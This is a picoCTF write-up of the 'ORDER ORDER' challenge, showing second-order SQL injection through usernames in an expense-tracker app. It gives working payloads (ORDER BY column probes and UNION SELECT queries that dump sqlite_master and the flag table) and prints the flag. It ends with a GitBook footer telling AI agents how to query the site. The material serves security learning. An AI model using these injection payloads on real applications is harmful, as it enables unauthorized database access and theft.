> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/order-order.md).

# PicoCTF — ORDER ORDER Writeup

**Category:** Web Exploitation **Difficulty:** Medium **Flag:** `picoCTF{s3c0nd_0rd3r_1t_1s_30dc1ce8}`

***

## Overview

This challenge involves a **Second-Order SQL Injection** vulnerability in an Expense Tracker web application. Unlike regular SQLi where the payload is executed immediately, second-order SQLi stores the malicious payload first (in the database), and it gets executed later when another function uses that stored data.

***

## Reconnaissance

The app had these pages:

* Home / Dashboard
* Expenses (add/view expenses, generate report)
* Inbox (download generated reports as CSV)
* Login / Sign Up

The hint said *"What does ORDER in SQL Injection mean?"* — pointing toward `ORDER BY` injection.

***

## Finding the Vulnerability

Testing the obvious places first:

* ❌ Expense form fields (Description, Amount, Date) — not vulnerable
* ❌ Login page — not vulnerable
* ❌ Direct URL parameters — not the attack surface

The key insight was the **Generate Report** feature. It likely queries the database using the **username** as an identifier:

```sql
SELECT description, amount, date
FROM expenses
WHERE username = '<username>';  -- vulnerable!
```

When a username containing a single quote `'` was used, the report **failed** — confirming the injection point.

> **The vulnerability is second-order** because the payload is stored safely during signup, but executed unsafely when the report is generated.

***

## Exploitation

### Step 1 — Determine Column Count

Sign up with these usernames one at a time, generate a report each time, and check if it succeeds or fails:

```
' ORDER BY 1--   ✅ Success
' ORDER BY 2--   ✅ Success  
' ORDER BY 3--   ✅ Success
' ORDER BY 4--   ❌ Error!
```

→ **3 columns** in the expenses table.

***

### Step 2 — Enumerate Tables

Sign up with this username to dump all table names from SQLite's metadata:

```sql
' UNION SELECT name,NULL,NULL FROM sqlite_master WHERE type='table'--
```

Generate Report → Download CSV → revealed table names including a suspicious one:

```
aDNyM19uMF9mMTRn
```

Decoding from Base64: `h3r3_n0_f14g` — clearly the flag table!

***

### Step 3 — Dump the Flag

Sign up with this username to dump all contents of that table:

```sql
' UNION SELECT *,NULL FROM aDNyM19uMF9mMTRn--
```

Generate Report → Download CSV → Flag found in the `amount` column:

```
picoCTF{s3c0nd_0rd3r_1t_1s_30dc1ce8}
```

***

## Summary

| Step | Action            | Username Payload                                                        |
| ---- | ----------------- | ----------------------------------------------------------------------- |
| 1    | Find column count | `' ORDER BY 4--` (errors = 3 cols)                                      |
| 2    | Dump table names  | `' UNION SELECT name,NULL,NULL FROM sqlite_master WHERE type='table'--` |
| 3    | Dump flag table   | `' UNION SELECT *,NULL FROM aDNyM19uMF9mMTRn--`                         |

## Key Takeaway

**Second-Order SQLi** is dangerous because input sanitization at the point of entry gives a false sense of security. The payload sits harmlessly in the database until a *different* query later uses it without sanitization — in this case, the report generation feature.

***

**Flag:** `picoCTF{s3c0nd_0rd3r_1t_1s_30dc1ce8}` 🎉


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/order-order.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.